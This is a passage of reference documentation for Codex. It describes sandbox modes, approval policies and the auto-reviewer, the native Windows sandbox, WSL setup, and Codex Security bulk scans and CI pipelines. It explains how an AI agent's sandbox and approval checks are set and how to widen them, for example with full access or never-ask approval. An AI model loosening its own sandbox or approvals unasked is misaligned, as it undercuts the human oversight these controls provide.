| Permission profiles | Newer `default_permissions` / `[permissions.<name>]` profile system (filesystem + network least-privilege) | [permission-profiles.md](./permission-profiles.md) |
| Permissions (modes) | Desktop app / CLI / IDE permission modes: Ask for approval, Approve for me, Full access | [permission-modes.md](./permission-modes.md) |
| Auto-review | Reviewer-agent replacement for manual approvals at the sandbox boundary | [auto-review.md](./auto-review.md) |
| Windows sandbox | Native Windows sandbox (`mxc`, legacy `elevated` / `unelevated`) setup and troubleshooting | [windows-sandbox.md](./windows-sandbox.md) |
| WSL | Running Codex inside WSL2 instead of the native Windows sandbox | [windows-wsl.md](./windows-wsl.md) |
| Non-interactive mode (`codex exec`) | Running Codex from scripts/CI, JSON/JSONL output, structured schemas, auth in automation, common automation patterns | [non-interactive-mode.md](./non-interactive-mode.md) |
| Codex GitHub Action | `openai/codex-action@v1` for CI/CD workflows, patch generation, PR review | [github-action.md](./github-action.md) |
| Codex SDK | TypeScript/Python SDKs for programmatic control of local Codex threads | [codex-sdk.md](./codex-sdk.md) |
| Codex App Server | JSON-RPC interface for rich clients: auth, threads, turns, approvals, streamed events; successor to `codex mcp-server` | [app-server.md](./app-server.md) |
| Codex MCP server removal | `codex mcp-server` and the `codex-mcp-server` binary were removed; migrate to App Server | [agents-sdk-mcp-server.md](./agents-sdk-mcp-server.md) |
references/security-automation/sandbox.md
# Sandbox
The boundary that lets Codex act autonomously without unrestricted machine access. Applies to spawned commands (`git`, package managers, test runners), not just built-in file operations, and works together with the separate approval-policy control.
## Signature / Usage
```toml
# config.toml
sandbox_mode = "workspace-write" # read-only | workspace-write | danger-full-access
approval_policy = "on-request" # on-request | never (untrusted is no longer selectable)
approvals_reviewer = "user" # user | auto_review
```
```bash
# Equivalent CLI flags for the low-friction local automation preset
codex --sandbox workspace-write --ask-for-approval on-request
```
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `read-only` | sandbox mode | Agent can inspect files; edits and commands need approval. |
| `workspace-write` | sandbox mode | Agent can read, edit within the workspace, and run routine commands in that boundary (default low-friction mode). |
| `danger-full-access` | sandbox mode | No filesystem/network restrictions; use only when full access is intended. |
| `untrusted` | approval policy | Asks before running commands outside its trusted set. No longer selectable in Codex or ChatGPT Work; existing configs using it need migration. |
| `on-request` | approval policy | Works inside the sandbox by default, asks when it must go beyond it. |
| `never` | approval policy | Never stops for approval prompts. |
| `sandbox_workspace_write.writable_roots` | table | Extends writable directories beyond the workspace without disabling the sandbox entirely. |
## Notes
- Prerequisites: macOS works out of the box (Seatbelt). Linux/WSL2 need `bubblewrap` installed (`apt install bubblewrap` / `dnf install bubblewrap`); Codex falls back to a bundled helper requiring unprivileged user-namespace support if no `bwrap` binary is on `PATH`. Native Windows uses the Windows sandbox; WSL2 uses the Linux sandbox implementation. A startup warning appears if `bwrap` is missing or the namespace can't be created. On Ubuntu 24.04 you may need the `bwrap-userns-restrict` AppArmor profile (load with `apparmor_parser -r`); disabling `kernel.apparmor_restrict_unprivileged_userns` via sysctl is a fallback. Ubuntu 25.04 works after installing `bubblewrap`.
- Full access = `sandbox_mode = "danger-full-access"` + `approval_policy = "never"`. The lower-risk automation preset is `workspace-write` + `on-request` (or `--sandbox workspace-write --ask-for-approval on-request`).
- For a workflow-specific exception, prefer command-prefix rules over broadly expanding sandbox access.
- **This page describes the older `sandbox_mode`/`approval_policy` model.** It does not compose with the newer permission-profile system (`default_permissions` / `[permissions.<name>]`) — see the mutual-exclusion note in `permission-profiles.md`.
- The sandbox applies to spawned commands (`git`, package managers, test runners), not just built-in file operations. Platform-native enforcement differs between macOS, Linux, WSL2, and native Windows.
- Permissions control: in the desktop app and IDE extension, use the control beneath the composer (**Ask for approval**, **Approve for me** for eligible requests, **Full access**, and named or custom permissions profiles); in the CLI, `/permissions` opens the permissions picker to change the active profile. When an approval offers scopes (once vs. session), choose the narrowest; use separate projects or worktrees instead of broadening access across unrelated repositories.
- Configure defaults in `config.toml` (`sandbox_mode`, `approval_policy`, `approvals_reviewer`, `sandbox_workspace_write.writable_roots`); for workflow-specific exceptions, use rules (allow / prompt / forbid command prefixes outside the sandbox).
- ChatGPT Work on the web runs code in a managed, isolated environment and doesn't expose the local sandbox or approval-mode selector.
- `approvals_reviewer = "auto_review"` only changes who reviews requests that already need approval; it never changes the sandbox boundary itself.
## Related
- [Agent approvals & security](./agent-approvals-security.md)
- [Auto-review](./auto-review.md)
- [Permission profiles](./permission-profiles.md)
- [Windows sandbox](./windows-sandbox.md)
references/security-automation/windows-sandbox.md
# Windows sandbox
The native sandbox used when Codex runs directly on Windows (ChatGPT desktop app, CLI, or IDE extension) without WSL or a virtual machine. It enforces bounded filesystem and network permissions for commands and their child processes. The permission profile determines which paths are readable or writable and whether network access is allowed; the approval policy separately controls when Codex asks to run commands with more access.
## Signature / Usage
```toml
[features]
prefer_mxc = true
[windows]
sandbox = "elevated" # legacy fallback: "elevated" or "unelevated"
```
```toml
# managed requirements.toml
[windows]
allow_mxc = false # keep MXC disabled
allowed_sandbox_implementations = ["elevated"]
```
```powershell
# Codex CLI 0.162.0+: test MXC for one command without changing the saved selection
codex -c windows.sandbox=mxc sandbox --include-managed-config --permission-profile :workspace -- cmd.exe /d /c echo MXC_OK
$LASTEXITCODE
```
```powershell
# IT-led provisioning for the legacy elevated sandbox (from an elevated deployment process)
codex sandbox setup --elevated --user 'DOMAIN\alice' --codex-home 'C:\Users\alice\.codex'
```
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `windows.sandbox` | `mxc` \| `elevated` \| `unelevated` | Implementation. `mxc`: recommended on compatible devices; native process isolation without administrator-approved setup, additional Windows accounts, or local firewall rules. `elevated`: preferred legacy fallback; administrator-approved setup, dedicated lower-privilege sandbox users, filesystem permission boundaries, firewall rules; commands run without administrator privileges. `unelevated`: legacy fallback when elevated setup is unavailable and policy permits it; restricted Windows token from the current user, ACL-based filesystem boundaries, environment-level offline controls; weaker network isolation than `elevated` and doesn't support denied read paths. |
| `[features] prefer_mxc` | boolean | Use MXC when the device and policy support it; otherwise use the existing legacy selection and setup flow. The desktop app prefers MXC automatically for consumer accounts when supported; enterprise and standalone CLI use must enable it. |
| `windows.allow_mxc` (managed `requirements.toml`) | boolean | `false` blocks automatic MXC selection and explicit `windows.sandbox = "mxc"`; existing legacy settings still apply. |
| `windows.allowed_sandbox_implementations` (managed `requirements.toml`) | array | Constrains legacy implementations (`elevated`, `unelevated`); doesn't restrict `mxc` when available. When both are allowed and none is selected, Codex prefers `elevated`. |
| `codex sandbox setup --elevated --user <id> --codex-home <path>` | CLI | IT-led provisioning: reads that user's configuration, provisions the sandbox, and saves `windows.sandbox = "elevated"`; the employee then runs Codex from a normal terminal. |
## Notes
- Selection guidance: use MXC when the device and policy support it; otherwise prefer `elevated`, with `unelevated` as a secondary fallback. For enterprises where device support or policy varies, keep `windows.sandbox` set to the organization's permitted legacy implementation as a fallback. Administrators can distribute `features.prefer_mxc = true` as a default or enforce it through `requirements.toml`; both permit legacy fallback. By default, both legacy sandbox modes use a private desktop for stronger UI isolation.
- `/sandbox-add-read-dir` and `windows.sandbox_private_desktop` are no longer documented on the official page (the Windows sandbox page doesn't mention them). To inspect a read-access failure, check the active permission profile, managed requirements, and Windows file permissions; in the CLI use `/status` and `/debug-config`, and ask an administrator to review a managed restriction rather than disabling the sandbox.
- MXC compatibility: the host must already have the Microsoft Execution Containers (MXC) capabilities, which Microsoft is rolling out to Windows 11; introduced in Windows 11 24H2 (build 26100.9278) and 25H2 (build 26200.9278). Expected probe output is `MXC_OK` with exit code `0`. Explicit `windows.sandbox = "mxc"` fails if required native capabilities are unavailable or policy blocks MXC.
- MXC limits: managed networking requires effective `allow_local_binding = true`; MXC permits connections to and from services on host loopback, proxy domain rules still apply to proxied traffic but the proxy's additional private-network destination checks are removed. Remaining child processes stop when the foreground command exits (test workflows relying on detached dev servers). Deny-read globs use the files matching when each sandboxed process starts (as on Linux/WSL, and with `elevated`); files created later remain readable to that running process.
- Windows version support: Windows 11 recommended; recent fully-updated Windows 10 (1809+, needs ConPTY) is best effort; older Windows 10 builds aren't recommended. `winget` should be available. The legacy `elevated` sandbox depends on administrator-approved setup; some managed devices block it even when the OS version is acceptable. The version matrix doesn't establish MXC availability.
- Full access mode isn't limited to the project directory and may cause destructive actions; keep sandbox boundaries, use rules for exceptions, or set the approval policy to `never` to have Codex attempt to solve problems without asking for escalated permissions. Use WSL when you need Linux-native tooling or your workflow already lives in WSL2; the IDE extension can run inside WSL2 (`chatgpt.runCodexInWindowsSubsystemForLinux: true`).
- Troubleshooting: legacy `elevated` setup failures usually come from a declined UAC/administrator prompt, blocked local user/group creation, blocked firewall rule changes, or blocked sandbox-user logon rights; retry, ask IT, then use `unelevated` if managed policy permits. Windows error `1385` means Windows denies the logon type the sandbox user needs (check device/group policy; use `unelevated` temporarily). A warning about folders writable by `Everyone` means ACLs are too broad for the sandbox to fully protect them; remove `Everyone` write access and restart or re-run setup. If sandboxed commands can't reach the network, check whether the permissions mode intentionally disabled it, restart, and collect the sandbox log. If sandboxing worked before and stopped (moved repo, changed permissions or policies): restart; for MXC repeat the compatibility probe and check the effective network policy; for `elevated` retry setup; collect the log. If the IDE extension is unresponsive, install Visual Studio Build Tools (C++ workload) and the Microsoft Visual C++ Redistributable (x64) (`winget install --id Microsoft.VisualStudio.2022.BuildTools -e`) and fully restart VS Code.
- Diagnostics: send `CODEX_HOME/.sandbox/sandbox.log` with a description, the selected implementation (`mxc`, `elevated`, `unelevated`), error messages, whether you saw `1385`, Windows build number, and Windows 10 or 11; never send the contents of `CODEX_HOME/.sandbox-secrets/`.
- For general sandbox/approval concepts (not Windows-specific), see `agent-approvals-security.md` and `sandbox.md`; for enterprise installation see the Windows deployment page.
## Related
- [Sandbox](./sandbox.md)
- [Agent approvals & security](./agent-approvals-security.md)
- [Windows WSL](./windows-wsl.md)
references/security-automation/windows-wsl.md
# WSL
When you use WSL2, Codex runs inside the Linux environment instead of using the native Windows sandbox. Choose WSL2 when you need Linux-native tooling, your repositories and developer workflow already live in WSL2, or the available Windows sandbox implementations don't meet your needs. WSL1 was supported through Codex `0.114`; starting in `0.115` the Linux sandbox moved to `bubblewrap`, so WSL1 is no longer supported.
## Signature / Usage
```powershell
# Elevated PowerShell or Windows Terminal
wsl --install
wsl
```
```bash
# Inside the WSL shell
curl -fsSL https://chatgpt.com/codex/install.sh | sh
codex
```
```bash
# Launch VS Code from inside WSL
cd ~/code/your-project
code .
```
## Options / Props
| Name | Description |
|------|-------------|
| CLI in WSL | Install/run Codex CLI directly inside the WSL2 shell; runs under the Linux sandbox (bubblewrap/seccomp), not the native Windows sandbox. |
| VS Code from WSL | `code .` from a WSL shell opens a WSL remote window, installs the VS Code Server if needed, and runs integrated terminals in Linux. Prerequisites: WSL installed (`wsl --install`, Ubuntu is common) and VS Code with the WSL extension. |
| Confirm WSL connection | `WSL: <distro>` in the green status bar, Linux paths (`/home/...`) in terminals, or `echo $WSL_DISTRO_NAME`. If missing, press `Ctrl+Shift+P` and pick `WSL: Reopen Folder in WSL`. |
## Notes
- Keep repositories under the Linux home directory (e.g. `~/code/my-app`), not Windows-mounted paths like `/mnt/c/...` — the latter can be slower and has more symlink/permission issues.
- Windows-side file access to a WSL repo: `\\wsl$\Ubuntu\home\<user>` in Explorer. If the Windows app or project picker doesn't show your WSL repository, type `\\wsl$` into the file picker or Explorer and navigate to your distribution's home directory.
- Large repositories feel slow: make sure you're not under `/mnt/c`; increase memory and CPU for WSL if needed; update WSL with `wsl --update` then `wsl --shutdown`.
- VS Code in WSL can't find `codex`: verify with `which codex || echo "codex not found"` inside WSL, and follow the CLI setup above if missing.
- This page covers running Codex through WSL2; for the native (non-WSL) Windows sandbox model (`mxc` recommended, `elevated` / `unelevated` as legacy fallbacks), see [Windows sandbox](./windows-sandbox.md). Sharing `CODEX_HOME` between the Windows-native app and CLI-in-WSL and switching the desktop app's agent to WSL are covered on the ChatGPT desktop app for Windows page (windows-app.md in getting-started), not on the WSL page itself.
## Related
- [Windows sandbox](./windows-sandbox.md)
- [Sandbox](./sandbox.md)
references/security/cli-bulk-scans.md
# Run bulk security scans
Discover GitHub repositories or run resumable security scans from a CSV inventory using `npx @openai/codex-security bulk-scan`.
## Signature / Usage
GitHub discovery (interactive):
```bash
gh auth login
npx @openai/codex-security bulk-scan
```
Steps: choose personal account or organization → review repositories active within 90 days → search/select repositories → choose results directory → confirm campaign. Discovery excludes archived repositories and forks; selections are recorded in `<output-directory>/repositories.csv`.
GitHub Enterprise Server:
```bash
gh auth login --hostname github.example.com
GH_HOST=github.example.com npx @openai/codex-security bulk-scan
```
CSV inventory:
```csv
id,repository,revision,scope,mode
payments,https://github.com/example/payments.git,0123456789abcdef0123456789abcdef01234567,services/api,standard
identity,https://github.com/example/identity.git,fedcba9876543210fedcba9876543210fedcba98,,deep
```
```bash
npx @openai/codex-security bulk-scan repositories.csv \
--output-dir /path/outside/repositories/security-scans \
--workers 4
```
## Options / Props
| Column | Required | Description |
|--------|----------|-------------|
| `id` | Yes | Unique identifier (letters, numbers, `.`, `-`, `_`) |
| `repository` | Yes | HTTPS URL, SSH URL, or local path (relative paths resolve from CSV directory) |
| `revision` | Yes | Full 40- or 64-character Git commit SHA — no branches/tags/short hashes |
| `scope` | No | Repository-relative directory to scan; omit for full repository |
| `mode` | No | `standard` or `deep`; omit to use the command's selected mode |
| `prompt` | No | Scan instructions specific to this repository (appended after the shared scan instructions) |
| Flag | Default | Description |
|------|---------|-------------|
| `--workers` | `4` | Concurrent repository scans (not the independent standard-scan workers within each deep scan; configure those via `[deep_scan]`) |
| `--mode` | — | Mode for rows without their own `mode` |
| `--max-attempts` | `1` | Retries for temporary repository/scan errors |
| `--model` / `--effort` | `gpt-5.6-sol` / `xhigh` | Model and reasoning effort (efforts `minimal`, `low`, `medium`, `high`, `xhigh`, `max`; GPT-6.1 Sol requires at least `low`) |
| `--provider` | `openai` | `openrouter` (`OPENROUTER_API_KEY`), `fireworks` (`FIREWORKS_API_KEY`), `amazon-bedrock`; each needs an explicit `--model` |
| `--knowledge-base PATH` | — | Architecture documents, threat models, or security policies shared by every scan (repeatable) |
| `--scan-prompt-file FILE` / `--post-scan-prompt-file FILE` | — | Shared scan instructions / follow-up run after successful scans and scan errors (not after cancellation or a cost limit); paths resolve from the current directory |
Model example (use a model your credentials can access; with ChatGPT sign-in check GPT-6.1 Sol availability first):
```bash
npx @openai/codex-security bulk-scan repositories.csv \
--output-dir /path/outside/repositories/security-scans \
--workers 4 \
--model gpt-6.1-sol \
--effort medium
```
## Campaign results
```text
security-scans/
├── manifest.json
├── results.jsonl
├── checkouts/
└── artifacts/
└── <repo-id>/
└── attempt-1/
├── scan-manifest.json
├── findings.json
├── coverage.json
└── report.md
```
A repository counts as complete when its scan has a `completed` manifest status and valid required result artifacts; coverage gaps don't make the scan fail. `manifest.json` records repositories, pinned revisions, scopes, modes, and instructions; `results.jsonl` records each repository attempt, status, artifact directory, and any cost or error details.
Export a single repository's result:
```bash
npx @openai/codex-security export \
/path/outside/repositories/security-scans/artifacts/payments/attempt-1 \
--export-format sarif \
--output /path/outside/repositories/payments.sarif
```
## Resume / retry
Run the original command with the same CSV and output directory to resume; the CLI skips a repository only when its receipt and all required artifacts still exist. Don't change the repository inventory for an existing output directory — use a new output directory instead.
Exit codes: `0` every repository completed and any configured severity policy passed; `1` scans completed but findings met a configured severity threshold; `2` a repository failed because of an input, execution, result-integrity, or required-output error; `130` Ctrl-C; `143` SIGTERM. Each retry attempt has its own result record and artifact directory; retries cover checkout errors, scan failures, and missing or invalid required artifacts.
## Docker
```bash
docker compose run --rm codex-security \
bulk-scan /input/repositories.csv \
--output-dir /output \
--workers 4
```
Requires a Linux Docker host supporting unprivileged user namespace creation. Supply `GH_TOKEN`/`GITHUB_TOKEN` for private repositories; set `CODEX_SECURITY_GIT_HOST` for GitHub Enterprise Server.
## Notes
- Set `[deep_scan].max_time_hours` to limit worker execution for each deep scan in a campaign; the `--max-time-hours` flag works with `scan`, not `bulk-scan`. The CLI checks out each pinned revision, scans the selected target, records the result, and removes the temporary checkout.
- Interactive discovery requires a terminal and `GH_HOST` for GitHub Enterprise Server; it records the exact default-branch commit per selected repository in `<output-directory>/repositories.csv` and starts no scans until you confirm. For CI, containers, or a prepared list use a CSV inventory. To find a local repository's full commit SHA use `git -C /path/to/repository rev-parse HEAD`.
- Resuming starts new attempts for eligible unfinished repositories and skips completed scans (including scans with coverage gaps); don't change the repository inventory or scan and follow-up instructions for an existing output directory (the CLI checks the pinned manifest and rejects a different campaign).
- Don't change the repository inventory for an existing output directory — the CLI checks the pinned manifest and rejects a different campaign; use a new output directory when repositories, revisions, scopes, or modes change
- Results can contain source excerpts and vulnerability details; keep the output directory private, outside scanned repositories, and subject to an appropriate retention policy
## Related
- [Codex Security CLI quickstart](./cli-quickstart.md)
- [Codex Security CLI reference](./cli-reference.md)
- [Codex Security CLI FAQ](./cli-faq.md)
references/security/cli-ci-gitlab.md
# Run Codex Security in GitLab CI/CD
Run Codex Security in GitLab CI/CD to scan committed changes and protected branches, publish findings to GitLab Security, and optionally propose verified fixes in draft merge requests.
## Signature / Usage
Create a masked, hidden, protected GitLab CI/CD variable `CODEX_SECURITY_API_KEY` (OpenAI Platform API key with Codex Security access), with environment scope `codex-security/openai`. Start with this scan-only pipeline in a test project:
```yaml
stages:
- security_scan
- security_gate
.codex-security-merge-request:
rules:
- if: '$CI_PIPELINE_SOURCE == "merge_request_event" && $CI_MERGE_REQUEST_SOURCE_PROJECT_ID == $CI_PROJECT_ID && $CI_MERGE_REQUEST_SOURCE_BRANCH_PROTECTED == "true" && $CI_MERGE_REQUEST_TARGET_BRANCH_PROTECTED == "true"'
codex-security:
extends: .codex-security-merge-request
stage: security_scan
image: node:26-bookworm-slim
environment:
name: codex-security/openai
action: access
variables:
GIT_DEPTH: "0"
before_script:
- apt-get update -qq
- apt-get install -y -qq --no-install-recommends ca-certificates git python3 ripgrep
- npm install --prefix /tmp/codex-security-cli --ignore-scripts --no-audit --no-fund @openai/codex-security@0.1.20
script:
- |
set -eu
test -n "${CODEX_SECURITY_API_KEY:-}"
CODEX_SECURITY_BIN="/tmp/codex-security-cli/node_modules/.bin/codex-security"
RESULTS_DIR="/tmp/codex-security-results-$CI_JOB_ID"
ARTIFACT_DIR="codex-security-artifacts"
BASE_REVISION="$(git merge-base \
"$CI_MERGE_REQUEST_DIFF_BASE_SHA" "$CI_COMMIT_SHA")"
install -d -m 700 "$RESULTS_DIR" "$ARTIFACT_DIR/results"
codex_security_api_key="$CODEX_SECURITY_API_KEY"
unset CODEX_SECURITY_API_KEY
set +e
OPENAI_API_KEY="$codex_security_api_key" \
"$CODEX_SECURITY_BIN" scan . \
--diff "$BASE_REVISION" \
--head "$CI_COMMIT_SHA" \
--auth api-key \
--output-dir "$RESULTS_DIR" \
--json
scan_exit="$?"
set -e
unset codex_security_api_key
case "$scan_exit" in
0|1|2) ;;
*) exit "$scan_exit" ;;
esac
"$CODEX_SECURITY_BIN" export "$RESULTS_DIR" \
--export-format sarif \
--source-root "$CI_PROJECT_DIR" \
--output "$ARTIFACT_DIR/results.sarif"
test -s "$ARTIFACT_DIR/results.sarif"
cp -R "$RESULTS_DIR"/. "$ARTIFACT_DIR/results/"
printf '%s\n' "$scan_exit" > "$ARTIFACT_DIR/scan-exit-code.txt"
exit 0
artifacts:
when: always
access: maintainer
expire_in: 7 days
paths:
- codex-security-artifacts/
reports:
sarif: codex-security-artifacts/results.sarif
codex-security-gate:
extends: .codex-security-merge-request
stage: security_gate
image: alpine:3.20
needs:
- job: codex-security
artifacts: true
script:
- exit "$(cat codex-security-artifacts/scan-exit-code.txt)"
```
Prerequisites: a trusted GitLab runner supporting the Codex sandbox's user namespace; Maintainer or Owner role; an OpenAI API key with Codex Security access (Trusted Access for Cyber may be required for full-repository scans); GitLab Ultimate 19.2 or later (SARIF 2.1.0 ingestion); full Git history for merge base calculation.
The production pipeline (downloadable from `https://learn.chatgpt.com/docs/security/cli/ci/gitlab.yml`, saved as `.gitlab-ci.yml`) adds `security_scan`, `security_remediation`, `security_publish`, and `security_gate` stages. Scan-only reporting requires only `CODEX_SECURITY_API_KEY`.
## Options / Props
Scan profile by trigger:
| Trigger | Target | Mode | Effort |
|---------|--------|------|--------|
| Protected same-project merge request | Committed diff | `standard` | `low` |
| Opt-in protected default-branch push or manual | Full repository | `standard` | `high` |
| Opt-in schedule on protected default branch | Full repository | `deep` | `xhigh` |
Scanner exit codes preserved by the final gate:
| Exit | Meaning |
|------|---------|
| `0` | The scan completed with complete coverage and passed its policy. |
| `1` | The scan completed and found an issue at or above the configured threshold. |
| `2` | The scan had incomplete coverage or an input or runtime error. |
Variables:
| Variable | When needed | Default or purpose |
|----------|-------------|--------------------|
| `CODEX_SECURITY_API_KEY` | Every scan | Protected, masked, hidden; scope to `codex-security/openai` |
| `CODEX_SECURITY_VERSION` | CLI upgrade | Pinned to `0.1.20`; retest before changing |
| `CODEX_SECURITY_FULL_SCAN_DEFAULT_BRANCH` | Default-branch full scans | Explicit opt-in; off by default |
| `CODEX_SECURITY_SCHEDULED_DEEP_SCAN` | Scheduled deep scans | Explicit opt-in; off by default |
| `CODEX_SECURITY_DEEP_MAX_TIME_HOURS` | Scheduled deep scans | Required time budget greater than `0` and less than `8` |
| `CODEX_SECURITY_DEEP_MAX_COST` | Scheduled deep scans | Required estimated USD cost guardrail greater than `0` |
| `CODEX_SECURITY_ENABLE_REMEDIATION` | Patch generation | Protected opt-in; off by default |
| `CODEX_SECURITY_VERIFICATION_COMMAND` | Patch generation | Protected regression test |
| `CODEX_SECURITY_SETUP_COMMAND` | Optional remediation setup | Protected dependency installation |
| `CODEX_SECURITY_REMEDIATION_EFFORT` | Optional remediation tuning | `high` |
| `CODEX_SECURITY_MAX_CHANGED_FILES` | Optional patch-size limit | `8`; allowed range `1` through `20` |
| `CODEX_SECURITY_CREATE_MR` | Draft merge request creation | Protected opt-in; off by default |
| `GITLAB_REMEDIATION_TOKEN` | Draft merge request creation | Developer project token scoped to `codex-security/publish` |
| `CODEX_SECURITY_GITLAB_INTERNAL_URL` | Optional self-hosted publishing | GitLab origin reachable from the runner |
| `CODEX_SECURITY_MR_TEST_COMMAND` | Draft merge request publishing | Required non-secret, project-specific regression test |
| `CODEX_SECURITY_MR_SETUP_COMMAND` | Optional remediation branch setup | Non-secret dependency setup |
## Notes
- The scan job runs by default only for same-project merge requests between protected branches. Fork pipelines and unprotected merge requests do not receive the scan credential.
- Masking and hiding a variable do not make untrusted CI code safe. Review every change to `.gitlab-ci.yml` before running a secret-bearing job.
- The production pipeline (`gitlab.yml`) publishes SARIF first and restores the policy in a separate `codex-security-gate` job. Its report job accepts exit codes `0` and `1`, and `2` only when the scan manifest proves completion, coverage is explicitly `partial`, and a non-empty SARIF report exists; other runtime, configuration, or export failures remain blocking. That example temporarily allows exit `2` while calibrating partial coverage; remove that allowance when incomplete coverage must block the pipeline. The scan-only example above performs no coverage check: its report job records `0`/`1`/`2` in `scan-exit-code.txt` and exits `0`, and `codex-security-gate` then fails the pipeline for `1` or `2`.
- Expected job artifacts: `scan-manifest.json`, `findings.json`, `coverage.json`, `results.sarif`, `scan-exit-code.txt`. Restrict artifact access because results can contain vulnerable source snippets.
- Default-branch scans create project vulnerability records; merge request findings appear only in the pipeline Security tab or merge request security widget.
- A completed diff scan applies only to that change and does not show the entire repository is clean.
- The CLI is pinned to `@openai/codex-security` `0.1.20`; retest authentication, artifacts, SARIF ingestion, and policy gating before changing the pin. `--max-cost` is an estimated cost guardrail, not a hard billing cap.
- The pipeline manages `CODEX_SECURITY_BIN`, `CODEX_SECURITY_EFFORT`, `CODEX_SECURITY_MODE`, `CODEX_SECURITY_STATE_DIR`, and `CODEX_SECURITY_TARGET`; do not configure them as project variables.
- Verified remediation is optional and runs only for protected default-branch pipelines. It requires complete coverage and a `high` or `critical` finding, confirms the regression test fails before patching, rejects changes to CI, credential, binary, or other protected files, and uses `verify-fix` (`fixed`, `still_vulnerable`, `inconclusive`); a patch is published only for `fixed`. The regression test must exit `1` before the fix and `0` afterward.
- Draft merge request publishing uses a Developer project access token (`api` and `write_repository` scopes) as protected, masked, hidden `GITLAB_REMEDIATION_TOKEN` scoped to the `codex-security/publish` environment. Do not substitute `CI_JOB_TOKEN`. It creates a `codex-security/fix-<finding-hash>` branch, reuses an existing open draft, and never merges automatically. Keep `CODEX_SECURITY_MR_TEST_COMMAND` unprotected.
- Remediation and publishing run before the final policy gate, so a verified draft merge request can be produced even when the gate later fails the pipeline.
- Source: https://learn.chatgpt.com/docs/security/cli/ci/gitlab (retrieved 2026-10).
## Related
- [Run Codex Security in CI](./cli-ci.md)
- [Codex Security CLI reference](./cli-reference.md)
references/security/cli-ci.md
# Run Codex Security in CI
Run the Codex Security CLI in CI to review the exact changes in a pull request or merge request, keep findings and coverage, upload SARIF, and optionally fail the check at a chosen severity. Start with advisory results, review scan quality and runtime, then add a severity policy. The public `@openai/codex-security` package is installed from npm; running scans still requires Codex Security access. This page gives a GitHub Actions workflow; for GitLab use [Run Codex Security in GitLab CI/CD](./cli-ci-gitlab.md). The same scan and export commands work in other CI systems.
## Signature / Usage
Store an OpenAI API key as the secret `CODEX_SECURITY_API_KEY` and map it directly to the scan step's `OPENAI_API_KEY` (scoped to the scan process; select it with `--auth api-key`). Run only for repositories and pull requests you trust: scans use the runner's local permissions, don't pause for approval, and can inherit the job environment (keep unrelated tokens and cloud credentials out). The runner needs Node.js 22 (22.13.0 or later), 24, or 26; Python 3.10+; `@openai/codex-security` installed outside the repository checkout; and PR head and base history so Git can calculate the merge base. For private or internal repositories, enable GitHub Code Security before uploading SARIF.
```yaml
name: Codex Security scan
on:
pull_request:
jobs:
codex-security:
if: github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]'
runs-on: ubuntu-latest
permissions:
actions: read
contents: read
security-events: write
steps:
- name: Set up Node.js
uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7
with:
node-version: "26"
- name: Set up Python
uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7
with:
python-version: "3.14"
- name: Install Codex Security
run: |
set -euo pipefail
npm install \
--prefix "$RUNNER_TEMP/codex-security" \
--ignore-scripts \
--no-audit \
--no-fund \
@openai/codex-security
- name: Verify Codex Security
env:
CODEX_SECURITY_BIN: ${{ runner.temp }}/codex-security/node_modules/.bin/codex-security
run: |
set -euo pipefail
test -x "$CODEX_SECURITY_BIN"
"$CODEX_SECURITY_BIN" --version
- name: Check out the pull request
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
with:
ref: ${{ github.event.pull_request.head.sha }}
fetch-depth: 0
persist-credentials: false
- name: Scan the pull request
env:
OPENAI_API_KEY: ${{ secrets.CODEX_SECURITY_API_KEY }}
CODEX_SECURITY_BIN: ${{ runner.temp }}/codex-security/node_modules/.bin/codex-security
CODEX_SECURITY_STATE_DIR: ${{ runner.temp }}/codex-security-state
BASE_SHA: ${{ github.event.pull_request.base.sha }}
HEAD_SHA: ${{ github.event.pull_request.head.sha }}
SCAN_DIR: ${{ runner.temp }}/codex-security-results
run: |
set -euo pipefail
BASE_REVISION="$(git merge-base "$BASE_SHA" "$HEAD_SHA")"
"$CODEX_SECURITY_BIN" scan . \
--diff "$BASE_REVISION" \
--head "$HEAD_SHA" \
--auth api-key \
--output-dir "$SCAN_DIR" \
--json > "$RUNNER_TEMP/codex-security.json"
- name: Export SARIF
id: export-sarif
if: always()
env:
CODEX_SECURITY_BIN: ${{ runner.temp }}/codex-security/node_modules/.bin/codex-security
SCAN_DIR: ${{ runner.temp }}/codex-security-results
SARIF_FILE: ${{ runner.temp }}/codex-security.sarif
run: |
set -euo pipefail
if test -f "$SCAN_DIR/scan-manifest.json"; then
"$CODEX_SECURITY_BIN" export "$SCAN_DIR" \
--export-format sarif \
--source-root "$GITHUB_WORKSPACE" \
--output "$SARIF_FILE"
echo "available=true" >> "$GITHUB_OUTPUT"
fi
- name: Upload SARIF
if: always() && steps.export-sarif.outputs.available == 'true'
uses: github/codeql-action/upload-sarif@e4fba868fa4b1b91e1fdab776edc8cfbe6e9fb81 # v4
with:
sarif_file: ${{ runner.temp }}/codex-security.sarif
ref: refs/pull/${{ github.event.pull_request.number }}/head
sha: ${{ github.event.pull_request.head.sha }}
category: codex-security
- name: Preserve scan results
if: always()
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7
with:
name: codex-security-results
path: |
${{ runner.temp }}/codex-security-results
${{ runner.temp }}/codex-security.json
if-no-files-found: warn
retention-days: 7
```
Severity policy (the GitHub example is report-only because it omits `--fail-on-severity`):
```bash
"$CODEX_SECURITY_BIN" scan . \
--diff origin/main \
--output-dir /path/outside/repository/results \
--fail-on-severity high
```
Retry with an existing result directory (persistent or self-hosted runner):
```bash
"$CODEX_SECURITY_BIN" scan . \
--diff origin/main \
--output-dir /path/outside/repository/results \
--archive-existing
```
## Options / Props
| Exit | Meaning |
|------|---------|
| `0` | The scan completed, and any configured severity policy passed |
| `1` | The completed scan contains a finding at or above the threshold |
| `2` | An input, execution, result-integrity, or required-output failure occurred |
| `130` | Ctrl-C interrupted the scan |
| `143` | SIGTERM terminated the scan |
Supported severity thresholds: `critical`, `high`, `medium`, `low` (a threshold includes findings from the current scan at that severity and above; earlier open findings in the repository summary don't affect the policy).
## Notes
